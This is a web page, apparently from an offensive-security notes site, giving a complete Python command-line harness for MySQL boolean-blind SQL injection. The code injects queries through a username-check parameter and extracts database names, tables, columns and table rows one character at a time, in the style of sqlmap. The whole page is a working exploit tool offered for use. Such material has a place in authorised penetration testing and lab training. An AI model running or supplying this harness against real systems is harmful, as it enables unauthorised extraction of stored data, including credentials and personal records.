Skip to content
Boolean Blind

Boolean Blind

MySQL boolean-blind linear harness

Complete standalone file. Once oracle() returns True and False reliably, the same CLI can dump the current database, database names, table names, column names, and selected rows.

The only target-specific part is oracle(). The harness uses MySQL/MariaDB syntax throughout: LENGTH, SUBSTRING, ASCII, database(), information_schema, and LIMIT 1 OFFSET n.

import argparse
import string
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "taken"
KNOWN_USER = "maria"
parser = argparse.ArgumentParser(
    description="MySQL boolean-blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns-list", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()

PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, q):
    params = {
        "u": f"{KNOWN_USER}' AND ({q}) -- -"
    }
    try:
        r = s.get(url=f"{URL}/api/check-username.php", params=params, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"\n[-] request failed: {e}")
        sys.exit(1)
    return r.status_code == 200 and TRUE_STRING in r.text

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\r[+] Bruteforcing {label}: {count}", end="", flush=True)
        if oracle(s, f"({query})={count}"):
            print(f"\n[+] {label}: {count}")
            return count
        count += 1

def get_length(s, expr, label):
    length = 0
    while True:
        print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
        if oracle(s, f"LENGTH(({expr}))={length}"):
            print(f"\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, expr, label):
    value = ""
    length = get_length(s, expr, label)
    for pos in range(1, length + 1):
        matched = False
        for ch in CHARSET:
            print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
            if oracle(s, f"ASCII(SUBSTRING(({expr}),{pos},1))={ord(ch)}"):
                value += ch
                matched = True
                break
        if not matched:
            print(f"\n[-] Charset exhausted at position {pos} while dumping {label}")
            sys.exit(1)
    print(f"\n[+] {label}: {value}")
    return value

def database_expr(position):
    return f"SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET {position}"

def table_expr(database, position):
    return f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' ORDER BY table_name LIMIT 1 OFFSET {position}"

def column_expr(database, table, position):
    return f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}' ORDER BY column_name LIMIT 1 OFFSET {position}"

def row_expr(table, column, position):
    return f"SELECT CAST({column} AS CHAR) FROM {table} ORDER BY {column} LIMIT 1 OFFSET {position}"

if __name__ == "__main__":
    s = requests.Session()

    if args.current_db:
        dump_value(s, "database()", "current database")

    if args.databases:
        database_count = get_count(s, "SELECT COUNT(*) FROM information_schema.schemata", "database count")
        for pos in range(0, database_count):
            dump_value(s, database_expr(pos), f"database {pos}")

    database = args.database
    if not database and (args.tables or args.columns or args.dump):
        database = dump_value(s, "database()", "current database")

    if args.tables:
        table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{database}'", "table count")
        for pos in range(0, table_count):
            dump_value(s, table_expr(database, pos), f"table {pos}")

    if args.columns:
        if not args.table:
            print("[-] --columns requires -T")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{args.table}'", "column count")
        for pos in range(0, column_count):
            dump_value(s, column_expr(database, args.table, pos), f"column {pos}")

    if args.dump:
        if not args.table or not args.columns_list:
            print("[-] --dump requires -T and -C")
            sys.exit(1)
        columns = []
        for column in args.columns_list.split(","):
            columns.append(column.strip())
        row_count = get_count(s, f"SELECT COUNT(*) FROM {args.table}", "row count")
        for pos in range(0, row_count):
            for column in columns:
                dump_value(s, row_expr(args.table, column, pos), f"{args.table}.{column} row {pos}")

Find by: mysql, mariadb, boolean blind sqli, length, substring, ascii, database, information_schema, limit offset, row dump, sqlmap style cli